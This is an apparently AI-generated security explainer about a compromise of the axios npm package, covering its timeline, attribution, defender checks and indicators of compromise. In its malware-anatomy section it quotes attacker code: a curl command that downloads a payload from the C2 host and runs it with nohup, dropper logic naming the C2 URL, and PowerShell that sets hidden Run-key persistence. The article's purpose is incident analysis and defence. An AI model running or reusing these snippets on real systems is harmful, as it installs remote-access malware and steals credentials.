Decoding the Axios Breach

Generated by Gemini

On the morning of March 31, 2026, developers around the world did something completely routine: they ran npm install. For those who did it between 00:21 and 03:29 UTC, the consequences were anything but routine. Unbeknownst to them, they had just invited a sophisticated, state-sponsored Remote Access Trojan into their machines, "courtesy of axios", the JavaScript HTTP client that sits inside roughly 80% of all cloud environments.

This wasn't a typosquatting scam or a shady third-party package sneaking into the ecosystem. This was a direct, surgical strike at one of open-source's most trusted pillars, orchestrated by a North Korean threat actor with the patience, tradecraft, and resources of a nation-state.

Key Numbers at a Glance

Metric	Value
Weekly downloads	100M+
Malicious window	approx 3 hours
Dependent packages	174,000+
OS platforms targeted	3 (macOS, Windows, Linux)
Estimated exposure	approx 3% of installations

The Target: Why Axios?

To understand the scale of this attack, you first need to appreciate what axios is. It's not just popular... it's everywhere.

What its used for: Axios is a JavaScript library used to send asynchronous HTTP requests from web browsers and Node.js servers. It is primarily used to communicate with APIs, allowing applications to fetch or submit data without needing to reload the page.

With over 100 million weekly npm downloads and more than 174,000 dependent packages, axios is embedded in CI/CD pipelines, developer laptops, cloud build systems, Docker containers, and production servers across virtually every industry on earth.

Targeting axios is the software supply chain equivalent of poisoning a city's water reservoir. You don't need to break into every house individually, you just compromise the one pipe that feeds them all.

A Three-Hour Attack: The Timeline

March 30, 2026 | 05:57 UTC | Decoy package published

Attackers publish plain-crypto-js@4.2.0, a clean, benign package to establish legitimacy and build trust on the npm registry.

March 30, 2026 | 23:59 UTC | Payload armed

plain-crypto-js@4.2.1 is published, the malicious version containing the full RAT dropper, quietly replacing the decoy.

March 31, 2026 | 00:21 UTC | Attack begins

axios@1.14.1 goes live. Any developer or CI pipeline running npm install at this point is silently compromised.

March 31, 2026 | 01:00 UTC | Blast radius widens

axios@0.30.4 is pushed, a second poisoned version now targets users still on the older 0.x branch. The attack spans both major version families.

March 31, 2026 | 01:50 UTC | Community responds

Elastic Security Labs files a GitHub Security Advisory after spotting the compromised maintainer email. Early findings are shared publicly to help defenders respond in real time.

March 31, 2026 | 03:15-03:29 UTC | Packages removed

Both compromised packages are yanked from the npm registry. A security hold is placed. The damage window closes, but the damage for those already affected is done.

How the Attackers Got In

The most chilling part of this story isn't the malware itself, it's how effortlessly the attackers navigated what should have been robust defenses.

The maintainer account compromise

The axios project had previously adopted OpenID Connect (OIDC) Trusted Publishing, a best-practice approach to authenticating npm packages via GitHub Actions without storing long-lived credentials. But the project still passed a legacy NPM_TOKEN environment variable in its workflow. The attackers exploited this fallback, bypassing OIDC entirely and publishing directly via the CLI with the stolen token.

"The attacker gained access to the lead maintainer's PC through a targeted social engineering campaign and RAT malware. This gave them access to the npm account credentials, which they used to publish the malicious versions."

— axios GitHub Post-Mortem [https://github.com/axios/axios/issues/10636]

Elastic Security Labs spotted the tell immediately: the maintainer email on the malicious packages had changed from jasonsaayman@gmail.com(present on every legitimate release) to ifstap@proton.me. The publishing method had also shifted from a trusted OIDC publisher flow with SLSA provenance attestation to a direct CLI publish. Classic signs of unauthorized access.

The decoy strategy

Before injecting the malicious code into axios itself, the attackers first published plain-crypto-js — a clean, innocent-looking package, a full day before the attack. This established the dependency as an existing, non-suspicious package on the registry. When the poisoned axios versions arrived, they simply required this now-familiar package. Automated security scanners looking for brand-new or unknown dependencies would see an existing package with a history, not an immediate red flag.

Anatomy of the Malware

The malicious payload, tracked by security researchers as WAVESHAPER.V2, was a sophisticated, cross-platform Remote Access Trojan delivered in multiple stages. It was disguised inside the plain-crypto-js dependency that the poisoned axios versions silently introduced.

The dropper script detected the host operating system and fetched a platform-specific second-stage payload from the attacker's command-and-control (C2) server:

// Dropper logic (simplified & paraphrased)
const platform = os.platform();
const c2 = "http://sfrclak.com:8000/6202033"; // date reversed: 3-30-2026

if (platform === "darwin") { /* macOS → Swift/Obj-C RAT */ }
if (platform === "win32")  { /* Windows → PowerShell RAT */ }
if (platform === "linux")  { /* Linux → Python RAT     */ }

Researchers noted a deliberate Easter egg: the C2 URL path /6202033 is the attack date (3-30-2026) reversed, a signature breadcrumb consistent with UNC1069's known tradecraft, used to mark campaign iterations.

Platform-specific payloads

Platform	Payload type	Persistence mechanism	Capabilities
macOS	Swift/Obj-C binary (macWebT)	`/Library/Caches/com.apple.act.mond`	Recon, remote commands, credential exfiltration
Windows	PowerShell RAT	Hidden batch file + registry `MicrosoftUpdate` Run key	Full system access, SSH/cloud key theft
Linux	Python script (`ld.py`)	Launched via `nohup` in `/tmp/`	Reconnaissance, Kubernetes token exfiltration

The macOS variant dubbed macWebT is a direct descendant of BlueNoroff's 2023 RustBucket webT module, confirming lineage to the same North Korean threat cluster. Each RAT variant was capable of conducting reconnaissance, executing arbitrary remote commands, and exfiltrating sensitive credentials including cloud keys, SSH keys, and Kubernetes tokens.

Windows persistence (PowerShell)

$batFile = Join-Path $env:PROGRAMDATA "system.bat"
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "MicrosoftUpdate" -Value $batFile

Linux persistence

# RAT downloaded to /tmp and daemonized
curl -s http://sfrclak.com:8000/6202033 -o /tmp/ld.py
nohup python3 /tmp/ld.py &

Attribution: Who Did This?

Google's Threat Intelligence Group (GTIG) and Microsoft Threat Intelligence both attributed the attack to UNC1069, also tracked by Microsoft as Sapphire Sleet — a financially motivated, North Korea-nexus threat actor active since at least 2018, with a documented history of targeting cryptocurrency platforms and high-value developer credentials.

UNC1069's hallmarks were evident throughout:

Manual package publishing rather than automated pipelines
A clean decoy dependency to evade detection
Cross-platform RAT coverage (macOS, Windows, Linux)
The reversed-date C2 Easter egg marking campaign iterations
The WAVESHAPER.V2 malware family, an evolved version of their documented backdoor

This attack is part of a broader pattern. Around the same time, a related North Korean group, UNC6780 (TeamPCP), poisoned GitHub Actions and PyPI packages tied to projects like Trivy, Checkmarx, and LiteLLM to deploy a credential stealer called SANDCLOCK. The open-source ecosystem has become a primary battleground for North Korean cyber operations targeting cloud credentials and developer secrets.

Downstream Blast Radius

The attack had immediate ripple effects beyond the ~3% of axios installations estimated to have been directly exposed. One of the most prominent downstream victims was OpenAI's macOS app signing pipeline.

OpenAI's GitHub Actions workflow for signing and notarising its macOS application unknowingly pulled the compromised axios version during the attack window. This potentially exposed sensitive certificate and notarisation materials used to verify the authenticity of OpenAI's macOS apps — credentials that, if stolen, could allow attackers to sign malicious software as legitimate OpenAI software. OpenAI moved swiftly to contain the damage and rotate its signing infrastructure.

Key insight: This is the defining characteristic of supply chain attacks. You don't need to hack a company directly. You compromise the tool that their automated pipelines trust implicitly. CI/CD systems are particularly vulnerable because they run npm install constantly, often without pinned lockfiles or integrity checks.

Are You Affected? How to Check

The exposure window was narrow, but if your systems ran npm install between 00:21 and 03:29 UTC on March 31, 2026, you must assume compromise.

Step 1: Hunt your lockfiles

Search every repository for package-lock.json, yarn.lock, or pnpm-lock.yaml containing any of these:

# Quick grep across all repos
grep -r "axios.*1\.14\.1\|axios.*0\.30\.4\|plain-crypto-js" .

Look for references to:

axios@1.14.1
axios@0.30.4
plain-crypto-js@4.2.1
sfrclak.com in network/proxy logs

Step 2: Check persistence indicators

macOS:

ls -la /Library/Caches/com.apple.act.mond

Windows (PowerShell):

Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object MicrosoftUpdate
Test-Path "$env:PROGRAMDATA\system.bat"

Linux:

ls /tmp/ld.py
ps aux | grep ld.py

Step 3: Rotate all credentials

If you were exposed, rotate everything immediately:

API keys (AWS, GCP, Azure, etc.)
SSH private keys
npm tokens and GitHub personal access tokens
Kubernetes service account tokens
Any secrets stored in environment variables on affected build machines

Critical: The RAT can execute arbitrary commands and exfiltrate credentials silently. Treat any system that installed the malicious package as fully compromised, regardless of whether you can confirm active malicious activity.

What This Exposes About Open-Source Security

The axios breach didn't succeed because the project was sloppy. Axios had adopted OIDC trusted publishing and SLSA provenance — genuinely good security practices. The attackers still got through. That's the uncomfortable lesson here.

1. Account takeover is the real attack surface

No amount of pipeline security helps when the maintainer's personal machine is compromised through social engineering. The human behind the commit button is always the weakest link. Developer endpoint security and phishing-resistant MFA need to be treated as critical security controls, not optional hygiene.

2. Semver ranges are dangerous by default

Projects using ^1.14.0 or ^0.30.0 in their package.json automatically pulled the malicious update during any fresh install. Pinning exact versions and committing lockfiles — and never running install without them is now table stakes.

// Dangerous — pulls latest compatible (including 1.14.1)
"axios": "^1.13.0"

// Safe — exact pin
"axios": "1.9.0"

3. The decoy package tactic is evolving

Publishing a clean package days before the attack to establish legitimacy is a sophisticated evolution of supply chain tradecraft. Static analysis tools that scan for "new" or "unknown" dependencies need to look at behavioral signals too, not just package age.

4. CI/CD pipelines need integrity gates

An automated pipeline that runs npm install on every build, pulling fresh dependencies each time, is a systemic vulnerability. Use npm ci instead it requires a committed lockfile and does not update it.

# Vulnerable — always pulls latest matching semver
npm install

# Safer — requires committed lockfile, fails on mismatch
npm ci

Consider also:

Private registries with explicit package allowlists
Dependency snapshot scanning against a known-good baseline
Supply chain security tools like Socket.dev or Sigstore

The Bottom Line

The axios breach is a landmark event in open-source security, not because it was the first supply chain attack, but because of the sheer scale of what was put at risk and the sophistication of the actors behind it. A library trusted by hundreds of millions of developers, weaponised by a nation-state, for three quiet hours on a Monday morning.

The malicious packages are gone. The immediate threat window has closed. But the credential theft that happened during those 188 minutes could fuel follow-on operations for months or years. If you haven't audited your exposure yet, the time to do it is now not when you see your cloud bill spike.

Safe versions

All versions of axios except 1.14.1 and 0.30.4 are clean. Upgrade immediately:

npm install axios@latest
# or pin to a specific known-safe version
npm install axios@1.9.0

Supply chain attacks will continue. The question isn't whether your dependencies will be targeted it's whether your pipelines are resilient enough to detect and contain the damage when they are.

Indicators of Compromise (IOCs)

Type	Value
Malicious package	`axios@1.14.1`
Malicious package	`axios@0.30.4`
Malicious dependency	`plain-crypto-js@4.2.1`
C2 domain	`sfrclak.com`
C2 URL path	`/6202033`
Attacker npm email	`ifstap@proton.me`
Windows artifact	`%PROGRAMDATA%\system.bat`
Windows registry key	`HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate`
macOS artifact	`/Library/Caches/com.apple.act.mond`
Linux artifact	`/tmp/ld.py`
Malware family	WAVESHAPER.V2 / SILKBELL dropper
Threat actor	UNC1069 / Sapphire Sleet

Sources:

Elastic Security Labs
Microsoft Security Blog
Tenable
Google GTIG
axios/axios GitHub Issue #10636
HeroDevs
Thrive NextGen